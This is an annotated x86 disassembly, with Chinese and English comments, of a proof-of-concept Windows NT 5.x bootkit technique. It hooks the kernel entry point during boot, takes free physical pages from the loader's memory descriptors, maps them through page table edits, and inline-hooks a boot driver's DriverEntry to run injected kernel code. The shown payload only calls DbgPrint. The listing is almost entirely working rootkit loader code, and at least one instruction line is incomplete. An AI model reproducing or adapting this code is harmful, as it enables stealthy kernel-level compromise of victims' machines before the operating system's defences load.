//———————————Module 1——————————————————————
// 修复返回地址,直接执行被hook的代码,这样比修复省n个字节
00484000: FF0424 INC DWORD PTR [ESP]
00484003: 0F20D8 MOV EAX,CR3
00484006: 0F22D8 MOV CR3,EAX
// 可能会被重复执行,避免重复hook内核
00484009: 803D FF404800 01 CMP BYTE PTR [4840FF],1
00484010: 75 01 JNZ SHORT 00484013
00484012: C3 RETN
// 在VA:0x80400000~0x81000000范围内暴搜内核,以确定内核已经加载及找到ImageBase
00484013: 53 PUSH EBX
00484014: 51 PUSH ECX
00484015: B8 00F03F80 MOV EAX,803FF000
0048401A: 05 00100000 ADD EAX,1000
0048401F: 3D 00000081 CMP EAX,81000000 // 搜索失败
00484024: 0F84 74000000 JE 0048409E
0048402A: 8BD8 MOV EBX,EAX
0048402C: C1EB 16 SHR EBX,16
0048402F: C1E3 02 SHL EBX,2
00484032: 81CB 000030C0 or EBX,C0300000
00484038: F703 01000000 TEST DWORD PTR [EBX],1
0048403E: 74 DA JE SHORT 0048401A
00484040: 8BD8 MOV EBX,EAX
00484042: C1EB 0A SHR EBX,A
00484045: 81C3 000000C0 ADD EBX,C0000000
0048404B: F703 01000000 TEST DWORD PTR [EBX],1
00484051: 74 C7 JE SHORT 0048401A
00484053: 66:8138 4D5A CMP WORD PTR [EAX],5A4D // 'MZ' flag
00484058: 75 C0 JNZ SHORT 0048401A
0048405A: 8B58 3C MOV EBX,[EAX+3C]
0048405D: 813C18 50450000 CMP DWORD PTR [EAX+EBX],4550 // 'PE' flag
00484064: 75 B4 JNZ SHORT 0048401A
00484066: 817C18 50 00001500 CMP DWORD PTR [EAX+EBX+50],150000 // ImageSize >= 0x150000 bytes
0048406E: 7C AA JL SHORT 0048401A
// 将内核的ImageBase写入0x4849FC内,并找到内核的EntryPoint做inline hook
00484070: A3 FC494800 MOV [4849FC],EAX
00484075: 034418 28 ADD EAX,[EAX+EBX+28]
00484079: 8B18 MOV EBX,[EAX]
0048407B: 8B48 04 MOV ECX,[EAX+4]
0048407E: 50 PUSH EAX
0048407F: B8 F0404800 MOV EAX,4840F0
00484084: 8918 MOV [EAX],EBX
00484086: 8948 04 MOV [EAX+4],ECX
00484089: 58 POP EAX
0048408A: C700 B8004148 MOV DWORD PTR [EAX],484100B8 // 写入 "mov eax, 0x484100"
00484090: C740 04 00FFD000 MOV DWORD PTR [EAX+4],D0FF00 // "call eax"
00484097: C605 FF404800 01 MOV BYTE PTR [4840FF],1
0048409E: 59 POP ECX
0048409F: 5B POP EBX
004840A0: C3 RETN
//—————————————–Module 2——————————————————-
// 修复返回地址和内核入口代码
00484100: 832C24 07 SUB DWORD PTR [ESP],7
00484104: B8 F0404800 MOV EAX,4840F0
00484109: 8B18 MOV EBX,[EAX]
0048410B: 8B48 04 MOV ECX,[EAX+4]
0048410E: 8B0424 MOV EAX,[ESP]
00484111: 8918 MOV [EAX],EBX
00484113: 8948 04 MOV [EAX+4],ECX
// 暴搜MemoryDescriptor,寻找合适的物理内存页存放代码
00484116: 55 PUSH EBP
00484117: 8BEC MOV EBP,ESP
00484119: 83C5 0C ADD EBP,C
0048411C: 8B6D 00 MOV EBP,[EBP]
0048411F: 8BDD MOV EBX,EBP
00484121: 83C3 08 ADD EBX,8
00484124: 8B1B MOV EBX,[EBX]
00484126: 837B 08 02 CMP DWORD PTR [EBX+8],2 // MemoryType == MemoryFree
0048412A: 75 F8 JNZ SHORT 00484124
0048412C: 817B 0C 00100000 // no meaning, just for debugging.
00484133: 837B 10 10 CMP DWORD PTR [EBX+10],10
00484137: 7C EB JL SHORT 00484124
00484139: 8B53 0C MOV EDX,[EBX+C]
0048413C: 8343 0C 05 ADD DWORD PTR [EBX+C],5 // "借"5个物理页(没的还的)
00484140: 836B 10 05 SUB DWORD PTR [EBX+10],5
// 开始暴搜页表,寻找合适的虚拟地址映射注入的代码
00484144: A1 FC494800 MOV EAX,[4849FC]
00484149: C1E8 16 SHR EAX,16
0048414C: C1E0 02 SHL EAX,2
0048414F: 05 000030C0 ADD EAX,C0300000
00484154: 83C0 04 ADD EAX,4 // 在ImageBase后所在PDE的下一个PDE开始搜索
00484157: 83E8 04 SUB EAX,4 // 主要是避开使用NTLDR的虚拟地址
0048415A: 83C0 04 ADD EAX,4
0048415D: 8B18 MOV EBX,[EAX]
0048415F: 83E3 01 AND EBX,1
00484162: 74 F6 JE SHORT 0048415A
00484164: 50 PUSH EAX
00484165: C1E0 0A SHL EAX,A
00484168: 33C9 XOR ECX,ECX
0048416A: 83C1 04 ADD ECX,4
0048416D: 8B5C08 FC MOV EBX,[EAX+ECX-4]
00484171: 83E3 01 AND EBX,1
00484174: 74 0B JE SHORT 00484181
00484176: 81F9 00100000 CMP ECX,1000
0048417C: 75 EC JNZ SHORT 0048416A
0048417E: 58 POP EAX
0048417F: EB D9 JMP SHORT 0048415A
00484181: 5B POP EBX
// 在找到的PTE地址里写入要映射的物理内存页号等信息
00484182: C1E2 0C SHL EDX,C
00484185: 81CA 63010000 or EDX,163
0048418B: 03C1 ADD EAX,ECX
0048418D: 83E8 04 SUB EAX,4
00484190: 8910 MOV [EAX],EDX
00484192: 0F20DB MOV EBX,CR3
00484195: 0F22DB MOV CR3,EBX
00484198: C1E0 0A SHL EAX,A
0048419B: 8BD0 MOV EDX,EAX
// 判断内核的版本是不是NT 5.0(win2000)
0048419D: A1 FC494800 MOV EAX,[4849FC]
004841A2: 8B58 3C MOV EBX,[EAX+3C]
004841A5: 807C18 46 00 CMP BYTE PTR [EAX+EBX+46],0
004841AA: 75 07 JNZ SHORT 004841B3
004841AC: 68 00200000 PUSH 2000
004841B1: EB 05 JMP SHORT 004841B8
004841B3: 68 01200000 PUSH 2001
// 在BootDriver中找一个合适的驱动做inline hook
004841B8: 8BC5 MOV EAX,EBP
004841BA: 83C0 10 ADD EAX,10
004841BD: 8B00 MOV EAX,[EAX]
004841BF: 8B48 18 MOV ECX,[EAX+18]
004841C2: 8B09 MOV ECX,[ECX]
004841C4: 8179 34 00400000 CMP DWORD PTR [ECX+34],4000 // 观察值,flag
为0x4000,该驱动的DriverEntry才会被调用
004841CB: 75 F0 JNZ SHORT 004841BD
004841CD: 8B49 1C MOV ECX,[ECX+1C]
004841D0: 8B19 MOV EBX,[ECX]
004841D2: 813C24 00200000 CMP DWORD PTR [ESP],2000
004841D9: 75 10 JNZ SHORT 004841EB
004841DB: 81FB 558BEC83 CMP EBX,83EC8B55 // 特征值 "558BEC83EC"
004841E1: 75 DA JNZ SHORT 004841BD
004841E3: 8079 04 EC CMP BYTE PTR [ECX+4],EC
004841E7: 75 D4 JNZ SHORT 004841BD
004841E9: EB 0E JMP SHORT 004841F9
004841EB: 81FB 8BFF558B CMP EBX,8B55FF8B // 特征值 "8BFF558BEC"
004841F1: 75 CA JNZ SHORT 004841BD
004841F3: 8079 04 EC CMP BYTE PTR [ECX+4],EC // 两处特征值可以保证inline hook的代码
004841F7: 75 C4 JNZ SHORT 004841BD // 不会被Relocate。
004841F9: 8B01 MOV EAX,[ECX]
004841FB: 8982 F00F0000 MOV [EDX+FF0],EAX
00484201: 8B41 04 MOV EAX,[ECX+4]
00484204: 8982 F40F0000 MOV [EDX+FF4],EAX
0048420A: C601 B8 MOV BYTE PTR [ECX],B8 // hook DriverEntry
0048420D: 52 PUSH EDX // 写入 "mov eax, xxxxxxx; call eax"
0048420E: 817C24 04 00200000 CMP DWORD PTR [ESP+4],2000
00484216: 75 1A JNZ SHORT 00484232
00484218: C1EA 0C SHR EDX,C // 重新计算win2k中,注入代码的虚拟地址
0048421B: C1E2 02 SHL EDX,2
0048421E: 81C2 000000C0 ADD EDX,C0000000
00484224: 8B12 MOV EDX,[EDX]
00484226: 81E2 00F0FFFF AND EDX,FFFFF000
0048422C: 81C2 00000080 ADD EDX,80000000
00484232: 8951 01 MOV [ECX+1],EDX
00484235: 66:C741 05 FFD0 MOV WORD PTR [ECX+5],D0FF
0048423B: 5A POP EDX
0048423C: 58 POP EAX
// 将要注入的代码复制到目标地址里
0048423D: B8 00454800 MOV EAX,484500
00484242: 33C9 XOR ECX,ECX
00484244: 8B1C08 MOV EBX,[EAX+ECX]
00484247: 891C11 MOV [ECX+EDX],EBX
0048424A: 83C1 04 ADD ECX,4
0048424D: 81F9 00050000 CMP ECX,500
00484253: 75 EF JNZ SHORT 00484244
00484255: 5D POP EBP
00484256: C3 RETN
//——————————————Module 3———————————————–
// 为注入的代码,只调用了DbgPrint打印了一句话
00484500: 50 PUSH EAX
00484501: E8 00000000 CALL 00484506
00484506: 58 POP EAX
00484507: 83E8 06 SUB EAX,6
0048450A: 53 PUSH EBX
0048450B: 836C24 08 07 SUB DWORD PTR [ESP+8],7
00484510: 8B5C24 08 MOV EBX,[ESP+8]
00484514: 51 PUSH ECX
00484515: 52 PUSH EDX
00484516: 8B88 F00F0000 MOV ECX,[EAX+FF0]
0048451C: 8B90 F40F0000 MOV EDX,[EAX+FF4]
00484522: 890B MOV [EBX],ECX
00484524: 8953 04 MOV [EBX+4],EDX
00484527: 8D98 00040000 LEA EBX,[EAX+400]
0048452D: 53 PUSH EBX
0048452E: 68 08000000 PUSH 8
00484533: 8D98 90010000 LEA EBX,[EAX+190]
00484539: 53 PUSH EBX
0048453A: FFB0 FC040000 PUSH DWORD PTR [EAX+4FC]
00484540: E8 BB010000 CALL 00484700
00484545: FFD0 CALL NEAR EAX
00484547: 83C4 04 ADD ESP,4
0048454A: 5A POP EDX
0048454B: 59 POP ECX
0048454C: 5B POP EBX
0048454D: 58 POP EAX
0048454E: C3 RETN
// 根据目标函数字符串,在内核的导出表中寻找查找内核函数,并返回内核函数的虚拟地址
00484700: 55 PUSH EBP
00484701: 8BEC MOV EBP,ESP
00484703: 8B45 08 MOV EAX,[EBP+8]
00484706: 8B58 3C MOV EBX,[EAX+3C]
00484709: 03C3 ADD EAX,EBX
0048470B: 83C0 78 ADD EAX,78
0048470E: 8B18 MOV EBX,[EAX]
00484710: 035D 08 ADD EBX,[EBP+8]
00484713: 8B43 20 MOV EAX,[EBX+20]
00484716: 0345 08 ADD EAX,[EBP+8]
00484719: 9C PUSHFD
0048471A: FC CLD
0048471B: 56 PUSH ESI
0048471C: 57 PUSH EDI
0048471D: 33D2 XOR EDX,EDX
0048471F: 8B75 0C MOV ESI,[EBP+C]
00484722: 8B4D 10 MOV ECX,[EBP+10]
00484725: 8B3C90 MOV EDI,[EAX+EDX*4]
00484728: 037D 08 ADD EDI,[EBP+8]
0048472B: F3 REPE CMPSB
0048472C: A6 CMPSB
0048472D: 74 03 JE SHORT 00484732
0048472F: 42 INC EDX
00484730: EB ED JMP SHORT 0048471F
00484732: 5F POP EDI
00484733: 5E POP ESI
00484734: 9D POPFD
00484735: 8B43 24 MOV EAX,[EBX+24]
00484738: 0345 08 ADD EAX,[EBP+8]
0048473B: 66:8B0C50 MOV CX,[EAX+EDX*2]
0048473F: 8B43 1C MOV EAX,[EBX+1C]
00484742: 0345 08 ADD EAX,[EBP+8]
00484745: 0FB7C9 MOVZX ECX,CX
00484748: 8B0488 MOV EAX,[EAX+ECX*4]
0048474B: 0345 08 ADD EAX,[EBP+8]
0048474E: 5D POP EBP
0048474F: C2 0C00 RETN C